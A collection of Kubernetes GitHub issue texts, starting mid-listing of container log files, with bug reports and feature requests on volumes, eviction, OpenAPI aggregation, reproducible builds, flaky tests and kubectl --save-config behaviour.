/mnt/ephemeral/docker/containers/f28f2a2d9f1f7575d03533571ea6465b8b508de0c03ebd6a7b29eb1bcea88b5b/f28f2a2d9f1f7575d03533571ea6465b8b508de0c03ebd6a7b29eb1bcea88b5b-json.log lrwxrwxrwx 1 root root 171 jul 28 07:11 cpeservice-7tpvp_default_cpeservice-da3bcfa83d377d2b846c92bc66a545044a134eb0d3787847d92f576abd276215.log -> /mnt/ephemeral/docker/containers/da3bcfa83d377d2b846c92bc66a545044a134eb0d3787847d92f576abd276215/da3bcfa83d377d2b846c92bc66a545044a134eb0d3787847d92f576abd276215-json.log lrwxrwxrwx 1 root root 171 jul 27 09:17 elasticsearch-logging-v1-bxa9m_kube-system_pod-ace752fa24ccb772f71200faef350c712f4a08496eb1db5b7d5836a3a409a644.log -> /mnt/ephemeral/docker/containers/ace752fa24ccb772f71200faef350c712f4a08496eb1db5b7d5836a3a409a644/ace752fa24ccb772f71200faef350c712f4a08496eb1db5b7d5836a3a409a644-json.log lrwxrwxrwx 1 root root 171 jul 27 09:19 elasticsearch-logging-v1-bxa9m_kube-system_elasticsearch-logging-46fd3a1293523b7097f6712b27b274376983744dd39bf9167c6f5da8629f3814.log -> /mnt/ephemeral/docker/containers/46fd3a1293523b7097f6712b27b274376983744dd39bf9167c6f5da8629f3814/46fd3a1293523b7097f6712b27b274376983744dd39bf9167c6f5da8629f3814-json.log lrwxrwxrwx 1 root root 171 jul 27 09:17 elasticsearch-logging-v1-oc1sv_kube-system_pod-6b6f5b8fcbc37826e58d51a3b922547cd918ff85697b69696d134c875878e352.log -> /mnt/ephemeral/docker/containers/6b6f5b8fcbc37826e58d51a3b922547cd918ff85697b69696d134c875878e352/6b6f5b8fcbc37826e58d51a3b922547cd918ff85697b69696d134c875878e352-json.log lrwxrwxrwx 1 root root 171 jul 27 09:19 elasticsearch-logging-v1-oc1sv_kube-system_elasticsearch-logging-f8c218eb4d0184609856e432db14fa809b9ea57e2f393f2a980afc4596e90526.log -> /mnt/ephemeral/docker/containers/f8c218eb4d0184609856e432db14fa809b9ea57e2f393f2a980afc4596e90526/f8c218eb4d0184609856e432db14fa809b9ea57e2f393f2a980afc4596e90526-json.log lrwxrwxrwx 1 root root 171 jul 27 09:17 fluentd-elasticsearch-ip-172-20-0-52.us-west-2.compute.internal_kube-system_pod-de76e2c8d8a17a2cd463f84c927cb76d1d755165dfcb4420aef0c23f8d6acc42.log -> /mnt/ephemeral/docker/containers/de76e2c8d8a17a2cd463f84c927cb76d1d755165dfcb4420aef0c23f8d6acc42/de76e2c8d8a17a2cd463f84c927cb76d1d755165dfcb4420aef0c23f8d6acc42-json.log lrwxrwxrwx 1 root root 171 jul 27 09:18 fluentd-elasticsearch-ip-172-20-0-52.us-west-2.compute.internal_kube-system_fluentd-elasticsearch-6a49f2af0d0714085d386fb931edaf541c8c4fa9b1f0da091a4b300e3a11e003.log -> /mnt/ephemeral/docker/containers/6a49f2af0d0714085d386fb931edaf541c8c4fa9b1f0da091a4b300e3a11e003/6a49f2af0d0714085d386fb931edaf541c8c4fa9b1f0da091a4b300e3a11e003-json.log lrwxrwxrwx 1 root root 171 jul 27 09:17 kibana-logging-v1-nxjuy_kube-system_pod-87721bfa3323e44fb503551b17c9a94ae47901dd5cf11b17cf804a8200907d1b.log -> /mnt/ephemeral/docker/containers/87721bfa3323e44fb503551b17c9a94ae47901dd5cf11b17cf804a8200907d1b/87721bfa3323e44fb503551b17c9a94ae47901dd5cf11b17cf804a8200907d1b-json.log lrwxrwxrwx 1 root root 171 jul 27 09:18 kibana-logging-v1-nxjuy_kube-system_kibana-logging-50b7c41b3b3854715adb5711c9e3143c0218fb84583c235761c6bbcb8a01cc3b.log -> /mnt/ephemeral/docker/containers/50b7c41b3b3854715adb5711c9e3143c0218fb84583c235761c6bbcb8a01cc3b/50b7c41b3b3854715adb5711c9e3143c0218fb84583c235761c6bbcb8a01cc3b-json.log lrwxrwxrwx 1 root root 171 jul 27 09:19 kibana-logging-v1-nxjuy_kube-system_kibana-logging-a97a3ede7063c17cc60e809688be9a47c17889f0aece6871aff647c779a1461b.log -> /mnt/ephemeral/docker/containers/a97a3ede7063c17cc60e809688be9a47c17889f0aece6871aff647c779a1461b/a97a3ede7063c17cc60e809688be9a47c17889f0aece6871aff647c779a1461b-json.log lrwxrwxrwx 1 root root 171 jul 27 09:18 kibana-logging-v1-nxjuy_kube-system_kibana-logging-ab427edc0c0edd25fc55edf646e1537e49cc38ff2eb051317d5fcf170131fc71.log -> /mnt/ephemeral/docker/containers/ab427edc0c0edd25fc55edf646e1537e49cc38ff2eb051317d5fcf170131fc71/ab427edc0c0edd25fc55edf646e1537e49cc38ff2eb051317d5fcf170131fc71-json.log lrwxrwxrwx 1 root root 171 jul 27 09:17 kube-dns-v17-69s8t_kube-system_pod-3d1e77939c1fab4db8cf041ba3d1a459b88abeabb277e5440f7796ff0dc78812.log -> /mnt/ephemeral/docker/containers/3d1e77939c1fab4db8cf041ba3d1a459b88abeabb277e5440f7796ff0dc78812/3d1e77939c1fab4db8cf041ba3d1a459b88abeabb277e5440f7796ff0dc78812-json.log lrwxrwxrwx 1 root root 171 jul 27 09:19 kube-dns-v17-69s8t_kube-system_dnsmasq-06c56f6f57980e2d54314d520a2a835848ddf75ec771bd3e89cf723f52eb7205.log -> /mnt/ephemeral/docker/containers/06c56f6f57980e2d54314d520a2a835848ddf75ec771bd3e89cf723f52eb7205/06c56f6f57980e2d54314d520a2a835848ddf75ec771bd3e89cf723f52eb7205-json.log lrwxrwxrwx 1 root root 171 jul 27 09:19 kube-dns-v17-69s8t_kube-system_healthz-c26dfa9225b75d070ad1d1519a81fe65e6fc04f7c6ebd37518f3f9c3fd5e9b63.log -> /mnt/ephemeral/docker/containers/c26dfa9225b75d070ad1d1519a81fe65e6fc04f7c6ebd37518f3f9c3fd5e9b63/c26dfa9225b75d070ad1d1519a81fe65e6fc04f7c6ebd37518f3f9c3fd5e9b63-json.log lrwxrwxrwx 1 root root 171 jul 27 09:18 kube-dns-v17-69s8t_kube-system_kubedns-f4780a45e8afbe7ce9bf7bb10728aa0bf935d969c41e5c4cd7f250db0436e97a.log -> /mnt/ephemeral/docker/containers/f4780a45e8afbe7ce9bf7bb10728aa0bf935d969c41e5c4cd7f250db0436e97a/f4780a45e8afbe7ce9bf7bb10728aa0bf935d969c41e5c4cd7f250db0436e97a-json.log lrwxrwxrwx 1 root root 171 jul 27 09:17 kube-proxy-ip-172-20-0-52.us-west-2.compute.internal_kube-system_pod-43922ac6ea9ee45b59b51ad29586d94db0e5f59860cd2e185913d5cddd25d370.log -> /mnt/ephemeral/docker/containers/43922ac6ea9ee45b59b51ad29586d94db0e5f59860cd2e185913d5cddd25d370/43922ac6ea9ee45b59b51ad29586d94db0e5f59860cd2e185913d5cddd25d370-json.log lrwxrwxrwx 1 root root 171 jul 27 09:18 kube-proxy-ip-172-20-0-52.us-west-2.compute.internal_kube-system_kube-proxy-036676e9cda81f67c40e1e6465bd48716f4d4ab4c1cdcb7b542aa6ee9ad72255.log -> /mnt/ephemeral/docker/containers/036676e9cda81f67c40e1e6465bd48716f4d4ab4c1cdcb7b542aa6ee9ad72255/036676e9cda81f67c40e1e6465bd48716f4d4ab4c1cdcb7b542aa6ee9ad72255-json.log lrwxrwxrwx 1 root root 171 jul 27 09:17 kubernetes-dashboard-v1.1.0-cvbw0_kube-system_pod-b920173a0caf9d79827673b6d4d4173e0dd3277d70acdb6202d970c68930304c.log -> /mnt/ephemeral/docker/containers/b920173a0caf9d79827673b6d4d4173e0dd3277d70acdb6202d970c68930304c/b920173a0caf9d79827673b6d4d4173e0dd3277d70acdb6202d970c68930304c-json.log lrwxrwxrwx 1 root root 171 jul 27 09:18 kubernetes-dashboard-v1.1.0-cvbw0_kube-system_kubernetes-dashboard-0b5687b60e4dd031926865f6cfbe4b5874cfb38a85bfd15662297593178ee102.log -> /mnt/ephemeral/docker/containers/0b5687b60e4dd031926865f6cfbe4b5874cfb38a85bfd15662297593178ee102/0b5687b60e4dd031926865f6cfbe4b5874cfb38a85bfd15662297593178ee102-json.log lrwxrwxrwx 1 root root 171 jul 27 09:17 monitoring-influxdb-grafana-v3-pj1oj_kube-system_pod-b97ab84116826a2c941a7272b26c442a724a1287c40030a90d6f182ccb871c51.log -> /mnt/ephemeral/docker/containers/b97ab84116826a2c941a7272b26c442a724a1287c40030a90d6f182ccb871c51/b97ab84116826a2c941a7272b26c442a724a1287c40030a90d6f182ccb871c51-json.log lrwxrwxrwx 1 root root 171 jul 27 09:19 monitoring-influxdb-grafana-v3-pj1oj_kube-system_grafana-5a086e9362906b23ab5d02d8b1fbf93949fa6ca2429a391cdebd2ab9e013b13f.log -> /mnt/ephemeral/docker/containers/5a086e9362906b23ab5d02d8b1fbf93949fa6ca2429a391cdebd2ab9e013b13f/5a086e9362906b23ab5d02d8b1fbf93949fa6ca2429a391cdebd2ab9e013b13f-json.log lrwxrwxrwx 1 root root 171 jul 27 09:18 monitoring-influxdb-grafana-v3-pj1oj_kube-system_influxdb-a688685d00d81b7475226024a2ea714cdd3a9def0788172c3c8ec53df002e32c.log -> /mnt/ephemeral/docker/containers/a688685d00d81b7475226024a2ea714cdd3a9def0788172c3c8ec53df002e32c/a688685d00d81b7475226024a2ea714cdd3a9def0788172c3c8ec53df002e32c-json.log lrwxrwxrwx 1 root root 171 jul 28 07:11 userservice-tgcxu_default_pod-9c1849c0381c96614cf706f469069667ed249e3dd652310301e315983bb3ff72.log -> /mnt/ephemeral/docker/containers/9c1849c0381c96614cf706f469069667ed249e3dd652310301e315983bb3ff72/9c1849c0381c96614cf706f469069667ed249e3dd652310301e315983bb3ff72-json.log lrwxrwxrwx 1 root root 171 jul 28 07:11 userservice-tgcxu_default_userservice-50f78bda3dd8c946b86a9aca741d2225f3581e47c22ba076b548910ca4298e37.log -> /mnt/ephemeral/docker/containers/50f78bda3dd8c946b86a9aca741d2225f3581e47c22ba076b548910ca4298e37/50f78bda3dd8c946b86a9aca741d2225f3581e47c22ba076b548910ca4298e37-json.log          cat: cpeservice-7tpvp_default_pod-f28f2a2d9f1f7575d03533571ea6465b8b508de0c03ebd6a7b29eb1bcea88b5b.log: no such file or directory      there is something wrong in mount the volumes on aws. is there any workaround for this issues .

to track the implementation of  job  in federation  cc @kubernetes/sig-cluster-federation @deepak-vij @kshafiee @shashidharatd

we have storage e2e tests sprinkled across multiple test suites. when trying to run all storage tests, it is difficult to know which ones to run. to fix this, we should tag all storage/volume plugin e2e tests with the   storage   tag.   @kubernetes/sig-storage

a very, very long time ago we decided to unify lists  podlist, nodelist  and objects  pod, node  under the same interface, because the response from the server could be typed and versioned independently.  it has been beneficial to have the server have a unique type response because it simplifies some generation  a podlist contains an items array of type pod  for client code and makes validation easier.  it also makes conversions and defaulting somewhat simpler, because we can generate code that doesn't have to do an expensive type check per item in the list  when listing 100k pods that is certainly a cost we care about .\r \r however, internally this causes a number of complicated gyrations - we pass opaque runtime.objects down into the storage.interface code and then perform reflection to see whether it has an  items  field, then return that opaque object and do reflection to calculate fields.  internally, it would probably make sense for there to be a coherent  runtime.list  type that has  items   runtime.object  as a field and links in other metadata as necessary.  certainly everything at the storage layer has no need to know anything about the type other than as a list of runtime.objects.\r \r evaluating the pro/cons of this change may be necessary to get some other optimizations  like a cache of recently serialized objects indexed by their name / resource version , but needs to be justified in that context.  recording it here for posterity.

we currently have only anecdotal evidence, so it needs to be verified.\r \r cc @wojtek-t @shyamjvs

 \r   what happened  :\r    \r /usr/bin/hyperkube\r /usr/bin/kubeadm\r /usr/src/kubernetes/platforms/linux/amd64/e2e.test\r    \r have a date+time string embedded in them in the format\r 2018-08-15t19:08:34z\r that differs for each build\r \r   what you expected to happen  :\r it should be possible to build reproducibly, generating identical binaries no matter when  and where \r \r   how to reproduce it  as minimally and precisely as possible   :\r on opensuse do\r    bash\r osc checkout opensuse:factory/kubernetes\r cd $_\r osc build --keep-pkg=rpms --vm-type=kvm\r cd rpms\r unrpm kubernetes-kubeadm-1.6.1-0.x86_64.rpm\r strings usr/bin/kubeadm | grep $ date +%y-%m-%d \r    \r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version: 1.6.1\r - os: opensuse  any \r \r proposed fix:  48708

when one of the aggregated api servers returns a different definition of an object than what the other servers return, the merged openapi schema may contain multiple identical copies of the object definition  they differ only in the name . \r \r   is this a bug report or feature request?  :bug\r \r  \r \r   what happened  :\r after changing the definition of the rawextension type in one of the aggregated api servers, the aggregator returned the following openapi schema  note that _v2, _v3 and _v4 are identical; don't mind the actual new definition of rawextension - it's incorrect :\r    \r    \ io.k8s.apimachinery.pkg.runtime.rawextension\ : {\r     \ description\ : \ any object\ ,\r     \ type\ : \ object\ ,\r     \ additionalproperties\ : {\r      \ type\ : \ object\ \r     }\r    },\r    \ io.k8s.apimachinery.pkg.runtime.rawextension_v2\ : {\r     \ description\ : \ rawextension is used to hold extensions in external versions.\ \ to use this, make a field which has rawextension as its type in your external, versioned struct, and object in your internal struct. you also need to register your various plugin types.\ \ // internal package: type myapiobject struct {\ \\truntime.typemeta  json:\\\ ,inline\\\  \ \\tmyplugin runtime.object  json:\\\ myplugin\\\  \ } type plugina struct {\ \\taoption string  json:\\\ aoption\\\  \ }\ \ // external package: type myapiobject struct {\ \\truntime.typemeta  json:\\\ ,inline\\\  \ \\tmyplugin runtime.rawextension  json:\\\ myplugin\\\  \ } type plugina struct {\ \\taoption string  json:\\\ aoption\\\  \ }\ \ // on the wire, the json will look something like this: {\ \\t\\\ kind\\\ :\\\ myapiobject\\\ ,\ \\t\\\ apiversion\\\ :\\\ v1\\\ ,\ \\t\\\ myplugin\\\ : {\ \\t\\t\\\ kind\\\ :\\\ plugina\\\ ,\ \\t\\t\\\ aoption\\\ :\\\ foo\\\ ,\ \\t},\ }\ \ so what happens? decode first uses json or yaml to unmarshal the serialized data into your external myapiobject. that causes the raw json to be stored, but not unpacked. the next step is to copy  using pkg/conversion  into the internal struct. the runtime package's defaultscheme has conversion functions installed which will unpack the json stored in rawextension, turning it into the correct object type, and storing it in the object.  todo: in the case where the object is of an unknown type, a runtime.unknown object will be created and stored. \ ,\r     \ required\ :  \r      \ raw\ \r      ,\r     \ properties\ : {\r      \ raw\ : {\r       \ description\ : \ raw is the underlying serialization of this object.\ ,\r       \ type\ : \ string\ ,\r       \ format\ : \ byte\ \r      }\r     }\r    },\r    \ io.k8s.apimachinery.pkg.runtime.rawextension_v3\ : {\r     \ description\ : \ rawextension is used to hold extensions in external versions.\ \ to use this, make a field which has rawextension as its type in your external, versioned struct, and object in your internal struct. you also need to register your various plugin types.\ \ // internal package: type myapiobject struct {\ \\truntime.typemeta  json:\\\ ,inline\\\  \ \\tmyplugin runtime.object  json:\\\ myplugin\\\  \ } type plugina struct {\ \\taoption string  json:\\\ aoption\\\  \ }\ \ // external package: type myapiobject struct {\ \\truntime.typemeta  json:\\\ ,inline\\\  \ \\tmyplugin runtime.rawextension  json:\\\ myplugin\\\  \ } type plugina struct {\ \\taoption string  json:\\\ aoption\\\  \ }\ \ // on the wire, the json will look something like this: {\ \\t\\\ kind\\\ :\\\ myapiobject\\\ ,\ \\t\\\ apiversion\\\ :\\\ v1\\\ ,\ \\t\\\ myplugin\\\ : {\ \\t\\t\\\ kind\\\ :\\\ plugina\\\ ,\ \\t\\t\\\ aoption\\\ :\\\ foo\\\ ,\ \\t},\ }\ \ so what happens? decode first uses json or yaml to unmarshal the serialized data into your external myapiobject. that causes the raw json to be stored, but not unpacked. the next step is to copy  using pkg/conversion  into the internal struct. the runtime package's defaultscheme has conversion functions installed which will unpack the json stored in rawextension, turning it into the correct object type, and storing it in the object.  todo: in the case where the object is of an unknown type, a runtime.unknown object will be created and stored. \ ,\r     \ required\ :  \r      \ raw\ \r      ,\r     \ properties\ : {\r      \ raw\ : {\r       \ description\ : \ raw is the underlying serialization of this object.\ ,\r       \ type\ : \ string\ ,\r       \ format\ : \ byte\ \r      }\r     }\r    },\r    \ io.k8s.apimachinery.pkg.runtime.rawextension_v4\ : {\r     \ description\ : \ rawextension is used to hold extensions in external versions.\ \ to use this, make a field which has rawextension as its type in your external, versioned struct, and object in your internal struct. you also need to register your various plugin types.\ \ // internal package: type myapiobject struct {\ \\truntime.typemeta  json:\\\ ,inline\\\  \ \\tmyplugin runtime.object  json:\\\ myplugin\\\  \ } type plugina struct {\ \\taoption string  json:\\\ aoption\\\  \ }\ \ // external package: type myapiobject struct {\ \\truntime.typemeta  json:\\\ ,inline\\\  \ \\tmyplugin runtime.rawextension  json:\\\ myplugin\\\  \ } type plugina struct {\ \\taoption string  json:\\\ aoption\\\  \ }\ \ // on the wire, the json will look something like this: {\ \\t\\\ kind\\\ :\\\ myapiobject\\\ ,\ \\t\\\ apiversion\\\ :\\\ v1\\\ ,\ \\t\\\ myplugin\\\ : {\ \\t\\t\\\ kind\\\ :\\\ plugina\\\ ,\ \\t\\t\\\ aoption\\\ :\\\ foo\\\ ,\ \\t},\ }\ \ so what happens? decode first uses json or yaml to unmarshal the serialized data into your external myapiobject. that causes the raw json to be stored, but not unpacked. the next step is to copy  using pkg/conversion  into the internal struct. the runtime package's defaultscheme has conversion functions installed which will unpack the json stored in rawextension, turning it into the correct object type, and storing it in the object.  todo: in the case where the object is of an unknown type, a runtime.unknown object will be created and stored. \ ,\r     \ required\ :  \r      \ raw\ \r      ,\r     \ properties\ : {\r      \ raw\ : {\r       \ description\ : \ raw is the underlying serialization of this object.\ ,\r       \ type\ : \ string\ ,\r       \ format\ : \ byte\ \r      }\r     }\r    },\r    \r \r   what you expected to happen  :\r the merged schema should only contain two different rawextension object definitions instead of 4.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.3\ , gitcommit:\ f0efb3cb883751c5ffdbe6d515f3cb4fbe7b7acd\ , gittreestate:\ clean\ , builddate:\ 2017-11-08t18:39:33z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.0\ , gitcommit:\ 0b9efaeb34a2fc51ff8e4d34ad9bc6375459c4a4\ , gittreestate:\ dirty\ , builddate:\ 2017-10-17t15:09:55z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  \r \r   what happened  :   test-cmd run_plugins_tests  in the  pull-kubernetes-unit  job is the flakiest test in the unit job tied with   testcascadingdeletion   https://github.com/kubernetes/kubernetes/issues/56121  which makes for the overall flakiest test in the repo. \r \r \r   what you expected to happen  : tests shouldn't flake this much.\r \r   how to reproduce it  as minimally and precisely as possible   : open a pr with no changes, run  /test pull-kubernetes-unit  a few times and see that it still both passes and fails arbitrarily on these tests.\r \r \r   anything else we need to know?  : this hurts merge rates.\r \r   environment  :\r - kubernetes's ci/cd\r

https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/volumemanager/volume_manager.go l369\r  \r   what happened  :\r disks that were attached showed up in the list\r \r   what you expected to happen  :\r disks that are attached should not be in the \ unattached disks\  list\r \r   how to reproduce it  as minimally and precisely as possible   :\r deploy a pod using a gce-pd\r deploy second pod using the same gce-pd\r kubectl describe pods\r look at the second pod, after a timeout perioud you will see the error message.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.10.0-alpha.1.110+3d652cae0391cf\r - cloud provider or hardware configuration: gce\r \r /assign\r

\r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r when a kubelet is configured to have eviction-hard and eviction-soft, i have seen it   twice   now that imagesfs is more than 90% utilized and started generating errors, but eviction or garbage does not kick in till kubelet is restarted.\r \r the kubelet is configured with this eviction related arguments\r    \r --eviction-hard=imagefs.available<10%,memory.available<500mi,nodefs.available<5%,nodefs.inodesfree<5% --eviction-soft=imagefs.available<30%,nodefs.available<10% --eviction-soft-grace-period=imagefs.available=2m,nodefs.available=2m --eviction-max-pod-grace-period=600\r    \r \r in the most recent example, this is the state of the system be found in\r \r    \r   lvs\r   lv                                                                 vg      attr       lsize   pool             origin data%  meta%  move log cpy%sync convert\r   images                                                             docker  twi-aotz-- 120.00g                         91.13  61.06                           \r    \r \r and there were no sign of eviction in syslog.\r \r after  systemctl restart kubelet , then this started to be logged\r \r    \r mar 12 16:24:39 4zb0cx1 kubelet: w0312 16:24:39.987590   20880 eviction_manager.go:332  eviction manager: attempting to reclaim imagefs\r mar 12 16:24:39 4zb0cx1 kubelet: i0312 16:24:39.987629   20880 helpers.go:1070  eviction manager: attempting to delete unused containers\r mar 12 16:24:40 4zb0cx1 kubelet: i0312 16:24:40.127526   20880 helpers.go:1080  eviction manager: attempting to delete unused images\r mar 12 16:24:41 4zb0cx1 kubelet: w0312 16:24:41.371115   20880 eviction_manager.go:142  failed to admit pod <pod name>  - node has conditions:  diskpressure \r    \r \r   what you expected to happen  :\r \r eviction happens when the imagefs utilization reaches 70% and 10%.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r don't have a way to reproduce it yet.\r \r   anything else we need to know?  :\r \r no.\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.9.2\r - cloud provider or hardware configuration: baremetal servers\r - os  e.g. from /etc/os-release : centos linux release 7.4.1708  core  \r - kernel  e.g.  uname -a  : 4.14.15-1.el7.elrepo.x86_64\r - install tools: custom using ansible\r - others:\r

https://k8s-testgrid.appspot.com/sig-release-1.10-blocking gce-kubeadm-1.9-on-1.10\r \r   /milestone v1.10\r / \r cc @jdumars @tpepper @jberkus \r \r also cc @luxas @bentheelder @jessicaochen @timothysc \r should this even be in 1.10 blocking dashboard?

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r  /area controller-manager\r \r   what happened  :\r \r the flag  --terminated-pod-gc-threshold  of kube-controller-manager is just a cluster-wide gc options. there is no gc threshold per node to limit maximum completed pods  or dead containers  for each node. \r \r 1. the current threshold is static and cannot adjusted when adding or deleting nodes to/from cluster. \r 2. if all jobs' pods are scheduled to one node  use taints or nodeaffinity  and then exit soon, this node will have a lot of completed pods with dead containers.\r \r   what you expected to happen  :\r \r adding  --terminated-pod-gc-threshold-per-node  to garbage collecting completed pods number on the same node. \r default to 300, if the value <= 0, the feature will disabled.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.3\ , gitcommit:\ 2c2fe6e8278a5db2d15a013987b53968c743f2a1\ , gittreestate:\ clean\ , builddate:\ 2017-08-03t07:00:21z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7+\ , gitversion:\ v1.7.12-27+6f9a2e3cb6d4f3\ , gitcommit:\ 6f9a2e3cb6d4f3f23188921ad4debfc37371daaa\ , gittreestate:\ clean\ , builddate:\ 2018-02-10t05:52:07z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r    \r name=\ ubuntu\ \r version=\ 16.04.2 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.2 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r    \r - kernel  e.g.  uname -a  :\r    \r linux cs 4.4.0-72-generic  93-ubuntu smp fri mar 31 14:07:41 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r    \r - install tools:\r - others:\r

we have two challenges: 1. container images must be manually uploaded into gcr.io.  these images include containers like  gcr.io/google_samples/cassandra must be manually uploaded after each update. 2. container images cannot be tested until they are uploaded.  this is causing issue with testing and also releasing containers that are broken.  we do not have a e2e test cycle that will support this.  proposal: 1. determine if we can use a docker registry that is installed as a rc    - build the container via e2e test    - push the container to the registry in the k8s cluster    - deploy an example application from that registry    - validate that the container is working  not via logs, actually use the app  2. once the above tests have passed    - merge code    - build and upload image automatically

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gke/13617/  failed:  k8s.io  replicaset should serve a basic image on each replica with a public image  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/replica_set.go:40 expected error:     < errors.statuserror | 0xc8210ee580>: {         errstatus: {             typemeta: {kind: \ \ , apiversion: \ \ },             listmeta: {selflink: \ \ , resourceversion: \ \ },             status: \ failure\ ,             message: \ an error on the server has prevented the request from succeeding  post replicasets.extensions \ ,             reason: \ internalerror\ ,             details: {                 name: \ \ ,                 group: \ extensions\ ,                 kind: \ replicasets\ ,                 causes:                       {                         type: \ unexpectedserverresponse\ ,                         message: \ internal server error: \\\ /apis/extensions/v1beta1/namespaces/e2e-tests-replicaset-cnsqo/replicasets\\\ \ ,                         field: \ \ ,                     },                  ,                 retryafterseconds: 0,             },             code: 500,         },     }     an error on the server has prevented the request from succeeding  post replicasets.extensions  not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/replica_set.go:85

i would expect:  --request='memory=xxx'  would map to docker container's  memoryreservation  field, as currently  --limits='memory=xxx'  maps to docker container's  memory  field.  in a project i'm working on, we're making these in sync. i'm wondering if there's any interest  or problem  for us to upstream this small change.   looking at rkt driver code, it seems to be using both memory request and limit information already.

kubelet currently exposes all log files stored under  /var/log  directory on a node via its  /logs/  endpoint. this interface is very convenient for accessing kubelet and runtime logs remotely. \r \r however this interface requires log files to be available under  /var/log  directory.\r \r given that many deployments use journald today, it would be helpful if  /logs/  rest endpoint in kubelet can expose journal logs for a select subset of system services like kubelet and the runtime.\r \r cc @kubernetes/sig-node

is this a request for help?  : no\r \r   what keywords did you search in kubernetes issues before filing this one?  : save-config\r \r ---\r \r   is this a bug report or feature request?    choose one : feature request\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r \r    \r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.2\ , gitcommit:\ 477efc3cbe6a7effca06bd1452fa356e2201e1ee\ , gittreestate:\ clean\ , builddate:\ 2017-04-19t20:33:11z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.6\ , gitcommit:\ 114f8911f9597be669a747ab72787e0bd74c9359\ , gittreestate:\ clean\ , builddate:\ 2017-03-28t13:36:31z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  : gke\r -   os    e.g. from /etc/os-release : cos\r \r   what happened  :\r \r i apply a service such as this:\r \r    shell\r $ cat <<end | kubectl apply --save-config -f -\r apiversion: v1\r kind: service\r metadata:\r   name: discovery-enclosure1\r   labels:\r     app: discovery\r   annotations:\r     prometheus.io/probe: \ true\ \r spec:\r   selector:\r     app: discovery\r     discovery-dbname: enclosure1\r     discovery-role: master\r   ports:\r   - name: http\r     port: 8090\r     targetport: 8090\r     protocol: tcp\r end\r    \r \r here's what's saved:\r \r    \r $ kubectl get svc discovery-enclosure1 -oyaml\r  ... \r     kubectl.kubernetes.io/last-applied-configuration: '{\ kind\ :\ service\ ,\ apiversion\ :\ v1\ ,\ metadata\ :{\ name\ :\ discovery-enclosure1\ ,\ creationtimestamp\ :null,\ labels\ :{\ app\ :\ discovery\ },\ annotations\ :{\ prometheus.io/probe\ :\ true\ }},\ spec\ :{\ ports\ : {\ name\ :\ http\ ,\ protocol\ :\ tcp\ ,\ port\ :8090,\ targetport\ :8090} ,\ selector\ :{\ app\ :\ discovery\ ,\ discovery-dbname\ :\ enclosure1\ ,\ discovery-role\ :\ master\ }},\ status\ :{\ loadbalancer\ :{}}}'\r    \r \r this is not what i applied:  creationtimestamp ,  namespace  and  status  are added.\r \r   what you expected to happen  :\r i expected the saved config to be what i applied. otherwise this feature is arguably near-useless: it can't be reliably used to diff a local resource manifest against the active one stored in kubernetes, because it will always yield false positives. the only way to detect changes would be store a separate, custom annotation, which surely defeats the point of having  --save-config  in the first place.\r \r   how to reproduce it    as minimally and precisely as possible :\r see above.\r

